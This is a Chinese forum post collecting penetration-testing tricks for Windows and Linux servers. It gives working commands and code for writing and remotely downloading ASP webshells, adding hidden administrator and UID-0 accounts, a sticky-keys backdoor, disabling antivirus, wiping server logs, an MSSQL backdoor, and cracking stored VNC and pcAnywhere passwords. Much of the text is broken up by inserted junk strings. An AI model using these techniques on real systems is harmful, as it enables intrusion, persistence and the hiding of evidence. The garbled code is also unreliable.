渗透技巧总结

admin

旁站路径问题
  e9 U, b4 W! A6 m/ M. W- g* a1、读网站配置。
2、用以下VBS
; N2 v: |: }* i1 c" b4 z0 }On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
5 A, d* q8 C# u! I9 l
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
4 c; H$ V/ O& E! k0 }
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
/ v% G( @; t( ]1 f% k! q" O: [Set ObjService=GetObject
; H: k" N: a2 ^' _* C
: X* r; r) t% F& V("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
8 q2 f5 O5 Q* @, t* d1 \% D* a        If IsNumeric(obj3w.Name)
5 ~( x; v4 [+ H# N& E
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

" [5 R' B9 r6 m* j# t/ l$ q# M<> 0 Then WScript.Quit (1)
* `/ O# u6 A" n. i7 J                WScript.Echo Chr(10) & "[" &

  O% F5 B# U, q) j8 m2 Y8 A) MOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
& h0 e' N( w5 w7 G4 [8 B     
$ a. J" a+ g; v- k# Q7 r4 Y
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
3 l/ Z6 o( d* n. f' j                        
0 R; C# m2 y/ D$ z, f
" L9 W$ E; F& v7 r1 aWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
) l! A! ]) y+ ]0 h* U% G                Next
' |# i/ l8 }3 g: j: j      

5 ^- \9 g. ~1 U/ l3 Z. o         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
- `3 V! p1 F& L& E6 b; R$ Q4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
9 D1 k* @, z/ H! Y  N5 D—————————————————————
6 a$ o- y+ z$ TWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
6 ]2 L; E. T/ h) M/ D" o" m$ p# YphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
4 G$ {" Q# g" t) [+ iphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
% V. q$ `2 v; h: q————————————————————
1 K* L3 b- P0 p6 O- k8 h网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
/ q4 b9 ^, ~  m* j6 r) K  P————————————————————
5 I0 @3 J6 I. ACMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
& e- _; C$ G7 Q- t1 c/ _  Gnetsh ras set user administrator deny #禁止administrator拨入该VPN
3 e$ m- F: f$ e2 x9 ~netsh ras show user #查看哪些用户可以拨入VPN
" {4 X1 [3 q& g, ^; N- lnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
) y8 L4 E" x$ h# H! Nnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
; Q, D* A+ ~1 ?2 g! I需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
; X; {. ~3 x9 j0 a7 Z( UEXEC sp_addsrvrolemember 'test, 'sysadmin'
. _' l! u* p' K, S9 f9 K& X然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
* A, e3 z3 }$ ^
2 y( i' ~: }1 S9 `另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
4 y) c) r( v+ Tjs:
) o/ d) e* C( Q+ wvar o=new ActiveXObject( "Shell.Users" );
- c' G" L$ \  M% H, k" y* _1 Pz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
% c0 `( m& t  E7 j( \6 n! g
vbs:
Set   o=CreateObject( "Shell.Users" )
  v5 \: L' @/ ]Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
4 `. C  I! t! N' F! z# l5 y0 V3 b——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
1 S& w& s4 w# R
9 N/ v$ C/ v# K命令如下
4 F2 n$ B8 Q3 H7 W3 fcacls c: /e /t /g everyone:F           #c盘everyone权限
6 Y: A6 D- `6 acacls "目录" /d everyone               #everyone不可读，包括admin
& j+ @, ~$ h2 z8 g$ T. a$ x" C3 f5 k0 D————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
7 Z$ V! O8 ?$ `8 Ab、内网环境（LCX）
% J. T8 I2 K9 w& lc、终端服务器超出了最大允许连接
+ M- x0 V' P% i: @/ T4 G, HXP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
; a4 C. M( D* cnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————

. R0 D. L+ n8 T+ N7 U, [5 }) C5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
' {' M/ f/ w; o( N9 Fcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
' m$ P  k' Y! u4 ?" O+ t* `. Y" |copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
. v) _4 U$ }7 }隐藏账号添加：
5 r) h9 \8 w# ], Q8 v1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
( D3 g4 r: C& l$ S$ k2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
- x& [0 P' f) f, l- C% O. @4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
% d4 q' V( X; cUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
, L% U- b' z8 z& U4 o7 ?7 W: E———————————————————————
! A2 n. u9 v$ t日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
; l) n! K! Q5 b" ?1 jex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
; \4 r6 G0 @' U+ ?4 m9 L; \# _不成功，“原文件...正在使用”
  D; ?& e) C: _+ J, z% R# t2 w% \当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
" f! v* S1 q0 {1 a9 j当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
* ]7 S7 r, R6 O3 @# CMSSQL 2000位于注册表如下：
8 Q$ ?& a: a3 T) u$ GHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
! ]+ M$ d6 F6 d找到接接过的信息删除。
& Y. G# P3 `' x2 w# i# fMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
' z5 G0 A7 |" l$ E  O1 }$ p( N—————————————————————————
. M' ^) J+ N$ C; {) F; s防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
0 ]# b* k; v$ [2 P9 ]
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
9 ]( O9 R; n- p% l: T' ^2 ZDim Ads, Retrieval, GetRemoteData
# J5 y: g& W, jOn Error Resume Next
% D0 D4 j, w7 @Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
3 w# _; G' J# ~2 H1 b- D.Send
% k& Y/ t9 X& e- |; W6 y; |GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
$ V  ?8 F6 k& x2 c. y4 W0 @& z8 KSet Ads = Server.CreateObject("Adodb.Stream")
. N% s4 X1 x- _. ~% Y" }! |With Ads
.Type = 1
7 \! v) \/ [; l& `* N.Open
.Write GetRemoteData
- q6 w) o4 V! r/ o.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
) U$ g) f1 Q" [1 ^/ E2 t9 ^.Close()
# b% I# M/ z. k& V0 |End With
! Y+ y3 D  H% c2 v( K7 JSet Ads=nothing
# C3 C- j, \9 o4 k% mEnd Sub
2 r6 |/ s% N4 |( k6 d
4 T6 L* m2 @2 L3 o, ^6 G3 ~- teWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
. O  m3 g0 ]% O" U: n%>
8 e6 \1 q: N" q! ^5 u  f  `
. S- ^2 ]( D# ~. U: dVNC提权方法:
- l8 H. ]$ l0 j+ ^利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
" N, f; d1 A$ W/ T5 f# }  z8 |注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
$ ^9 D7 f7 J1 j7 `( Nregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
% x3 P# X) U) e  ?: AHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
2 ?( b& Y' b/ I( f% V6 xHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
* W8 v5 R9 {4 Q4 F2 e然后用HASH版连接。
- a* e- d4 j- J8 X" Q% W如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
2 H" ~4 v  j0 m9 _5 d: ]) O0 [% P2 C保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
& ]7 p, U. R' Q搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
" B5 ]. L  o1 t/ g0 u9 z——————————————————----------
/ h& o$ {' z3 y5 n8 U5 K- J% V1 WWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
& N/ q( M% a! C7i24的web目录也是可写，权限为administrator。

" n- J, I/ d6 o% I2 w, Z9 q1433 SA点构建注入点。
<%
! V5 w# \% `( k( M( }5 D! AstrSQLServerName = "服务器ip"
% T8 ~4 G6 `7 _2 j. d/ ~strSQLDBUserName = "数据库帐号"
+ x, x% A# n" N3 i! q) G' I% nstrSQLDBPassword = "数据库密码"
2 U/ ^. {5 f6 c  C' H* tstrSQLDBName = "数据库名称"
3 K0 ]. _$ T8 P+ A! |" c, ZSet conn = Server.createObject("ADODB.Connection")
* z# G* g8 w, AstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

0 }/ r/ T7 c) n; h# F9 Z- K' b1 estrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
6 K) h: {$ P) E$ L6 j0 {5 |set rs=server.createobject("ADODB.recordset")
. P7 ?) X% o; S; V5 y2 m( wid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
. i7 B, N  O# j7 Y5 a, h7 ers.close
7 g8 M3 N( K$ r* u4 A: a%>
复制代码
******liunx 相关******
$ Y' a0 D  |2 N' k一.ldap渗透技巧
/ B! [; q3 i7 k1.cat /etc/nsswitch
  s& D) G% C& e# c看看密码登录策略我们可以看到使用了file ldap模式
2 ?( `# C" a. y7 _
( M8 g8 [5 H/ D0 `/ F; r2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
6 n# F% P% r0 |" h匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
6 r% f, _" |1 l& T; P: O
- a! l- ?6 M  k5 R8 f% S% B1 m"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( b5 p; {- `6 q7 D% k- f9 u有密码形式
( j: j- J% U9 @5 T9 pldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# f; ]7 p( ~; E* c  [5 z

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
  n4 m  h! s9 K
实战:
" E7 i6 n& I2 ^1.cat /etc/nsswitch
; t: y4 ^; g& S8 S( d看看密码登录策略我们可以看到使用了file ldap模式
& H$ \! [0 \' v1 w  I
2.less /etc/ldap.conf
% p' L3 Q/ v7 {1 z0 Qbase ou=People,dc=unix-center,dc=net
/ y0 v/ a; k9 A+ g+ q' n  W找到ou,dc,dc设置

8 ~' s, v. T/ S* N: ^3.查找管理员信息
匿名方式
2 J  t7 A" W4 L" Rldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
9 t$ _, o. [! v) D有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
3 |9 k( C2 A( J: T8 F( b, }  S
: ]8 o: [) x& ^) _+ Q6 I"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

0 Q3 ]( C+ {: K9 @9 U
4.查找10条用户记录
  B) g+ E& w0 d3 h" Yldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
' @  R0 c3 q1 X8 M1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
3 x0 }/ @: r$ Hdn: dc=ruc,dc=edu,dc=cn
dc: ruc
0 w' o* U" p3 ~- A2 ?objectClass: domain
" M! I( Q3 Q9 e
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
( V3 Q$ N; q. ?. w. m1 ~objectClass: inetOrgPerson
3 R) k6 P+ l' B5 `  G% u% iobjectClass: organizationalPerson
objectClass: person
objectClass: top
( C  F2 V- v* L! d- Ssn: manager
3 C- ?% U& H. Mcn: manager
+ ]9 \/ h0 ^! Y( N- J  S8 ~
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
& X2 R  \. J  U9 IobjectClass: organizationalPerson
- m( ?- o6 c/ t, C# q# [6 o% QobjectClass: person
objectClass: top
; o5 b; F' T! \" m. T( w; o) Dsn: superadmin
cn: superadmin

* r" l( \2 D! U  S6 qdn: uid=admin,dc=ruc,dc=edu,dc=cn
$ o, ?3 z6 n% zuid: admin
objectClass: inetOrgPerson
4 N) C0 X& q& Z. v- m/ @. _objectClass: organizationalPerson
' x; I5 J( q( K6 R' @8 _* YobjectClass: person
objectClass: top
, [9 n0 R4 h4 o# Y( o9 E! ]sn: admin
cn: admin
+ M# `* ^) g' \+ ]; R/ |( p7 U5 h
+ Y$ h3 v; t' G  ^dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
6 ~" K7 _6 A' r* Z9 HobjectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
1 x+ _/ I* r% [+ i6 k3 J$ C  Qsn: dcp_anonymous
" d" N9 X' l- `4 Q8 Scn: dcp_anonymous
' `# {6 Q$ V* T% E& n0 f1 J
2.查看基类
1 C7 ?% t* Y( ~  {bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
- K) y7 i2 {4 c. q  T8 Zversion: 1
dn: dc=ruc,dc=edu,dc=cn
+ y" I4 K' H& M0 q+ @( Tdc: ruc
objectClass: domain

- }/ V8 n$ H% N0 s3.查找
5 K. h4 O9 d. @0 s3 y- v- X9 Sbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
9 S1 q7 g% U/ ?objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
5 c$ j; _1 }" BsupportedExtension: 2.16.840.1.113730.3.5.8
: Q8 J) O! @; Q" asupportedExtension: 1.3.6.1.4.1.4203.1.11.1
4 A! X* B3 M5 y9 S& g1 I) W  QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
! N$ f9 x3 }& E" R& D; B" n# B$ MsupportedExtension: 2.16.840.1.113730.3.5.3
3 ^( F1 U: H( _0 ?' a3 ~: q* EsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
" ~' V0 t& o$ ]- X; B! b: w( SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
7 ]9 g9 S7 H3 i& J- [5 J* I: RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
3 r+ j+ b9 e( a! D* O% [* ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
! C' k) L0 b2 u# b2 gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
5 u' q! O2 \4 U) l1 [/ _: LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
. Q+ k7 A! T4 K1 I% f+ ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
( {- \2 Q1 ]- M4 w+ _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
6 l; x2 e0 O1 K$ R! D' O: osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
! k& k: b6 D4 G# p( {) VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
! @5 I( T7 R, F' Q* X- ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
- W6 j3 Q1 e/ T: ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
! N4 }+ c% a+ WsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
* q+ Y! e/ E! ~# o; n' L. E" osupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
0 U5 |/ ]7 v5 EsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
& U& |6 `8 B: c7 A/ l$ f% _, R0 `supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
9 D4 ^! j$ ^: [6 x0 g, g+ q3 DsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
2 r& v$ _+ \0 X2 csupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
( ~8 a! u# x+ e+ e2 L( Z9 o4 T: l/ IsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
0 h3 j+ P+ N$ N3 NsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
0 E! _* y- K3 @  `6 @5 LsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
7 T7 J# r. g7 X' J+ L  L6 w* `supportedControl: 2.16.840.1.113730.3.4.12
$ C5 i+ ?. S+ DsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
: r4 l3 u; ^" g- hsupportedSASLMechanisms: EXTERNAL
4 ?. E1 y- |- i; p6 b/ J% YsupportedSASLMechanisms: DIGEST-MD5
/ \5 q3 p& L5 u5 {4 isupportedLDAPVersion: 2
supportedLDAPVersion: 3
/ y/ D8 X3 ^- j! ?vendorName: Sun Microsystems, Inc.
; z0 T. W% t' z/ h# p) J/ FvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
* w9 ~, U& T! ]2 H" Vnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0 g2 D5 D* G; `" YsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
: a$ A( S( e9 g$ AsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
( W+ W; ?. w1 E& TsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
6 x' ]! k* z% N) ssupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
2 h3 g. I  m5 _! C1 m: qsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
; B% T) ?' v4 I5 [* esupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
( q8 }: _+ v3 ?* D. t" p. U& ysupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
. j$ E8 h  n% A4 n: @  SsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
5 h5 B, a8 J7 f0 b; {; c: N7 tsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
: ~, @$ Y( k1 S4 i# c# C9 h" csupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
) u- w3 x; Q3 `- |+ Z. \supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
  [0 }2 f. Z/ Q  _$ z0 CsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
- E$ x, a; R) M$ x7 \0 O* osupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
$ Q4 D4 g1 t. AsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
7 D" f& ^- ?: Y2 lsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
7 Q& D3 l# E' gsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
  ^6 g3 k, U: ]2 Y$ tsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
. ~2 }% _* v/ F0 v' B9 Y. M1 ssupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
0 ]) _# o  n* f2 }& jsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
( {5 g- I, [+ Y( ]3 Z  ?+ bsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
3 o, ~+ z- {5 P/ E$ e" F- Q; i/ msupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
) L% l; S/ f1 Y/ m5 P" rsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
1 d1 @3 A6 ^2 {6 d. G2 UsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
1 [1 w3 c- d& BsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
7 F& |2 d8 z7 w列举IP
7 Z8 J4 ^# R) @. g——————
* z4 p) i$ U; a. r, r) k8 S! \3.rsync渗透技巧
9 |+ S. y& T& V% j% T. Y# g1.查看rsync服务器上的列表
rsync 210.51.X.X::
4 n! |. w  h. p1 N8 v" B* sfinance
% o3 k' v; ]4 m) C3 }1 ^img_finance
auto
img_auto
6 e. f" h, ]/ p! ahtml_cms
img_cms
ent_cms
ent_img
( V) y& A3 Z3 V/ L% y8 x$ xceshi
! R2 G# T9 r& M1 ]" Ures_img
8 o$ a7 W, N) C, j" ores_img_c2
chip
% V' A1 ~% ]: ?2 k0 r8 G4 q4 ?chip_c2
# _9 c, i  y3 _' X( aent_icms
! X$ s; I( R9 T0 w! t/ O, H6 k( xgames
; \3 j: D- z4 Y7 H- a6 Q! Ygamesimg
0 V. n) T+ j; F5 m6 p* x( Hmedia
: R1 |  h: M# Cmediaimg
fashion
res-fashion
& q4 J/ C( T$ J' k( k) L; Dres-fo
taobao-home
res-taobao-home
7 o5 b6 _0 P0 v2 ^' u7 phouse
res-house
res-home
! Y2 M8 C& ?/ X1 x$ Qres-edu
5 C6 I8 I4 i/ C9 s0 Q5 dres-ent
res-labs
res-news
res-phtv
res-media
home
edu
news
) s- I- G; k* vres-book
- u' B5 B7 y: u# H9 b
. L- w' O4 i4 H$ _* m/ N- W9 |) e* l看相应的下级目录(注意一定要在目录后面添加上/)
# i) y* u3 C* T- K: p7 |
, D* Y/ d; w- H1 m
rsync 210.51.X.X::htdocs_app/
0 M( A3 a& J! l' }$ a$ |6 h) arsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
' @" S1 y, a" @$ _
2.下载rsync服务器上的配置文件
7 ]6 ?$ B# p' g' drsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

$ o& H& f; L2 K8 g3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
. d$ h* o( c. s
四.squid渗透技巧
+ F) W# T) G5 l- Hnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
* l' X- d  q7 S* vGET HTTP://WWW.sina.com:22 / HTTP/1.0
6 K7 i+ Q3 T: y% l' F2 m% G五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
* c0 l) B3 M, E) Q- @
六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
1 l% ]0 j! j' D7 x
: ^# M( h+ f! o/ j5 W2 B- g15&catid=32:languages&Itemid=47

9 A$ \- n5 O& F0 o# t重新设置密码
( B! T/ g0 D+ {0 r' Y, J9 uindex.php?option=com_user&view=reset&layout=confirm

7 x& H8 \; f7 ~  [, w七: Linux添加UID为0的root用户
2 T1 E. |( I- f! [& z4 z$ quseradd -o -u 0 nothack

八.freebsd本地提权
3 _; S9 T& }1 m5 n$ j, \6 j[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
, c% X) a) W' u2 I, N/ G/ S* [argp@julius ~]$ sysctl vfs.usermount
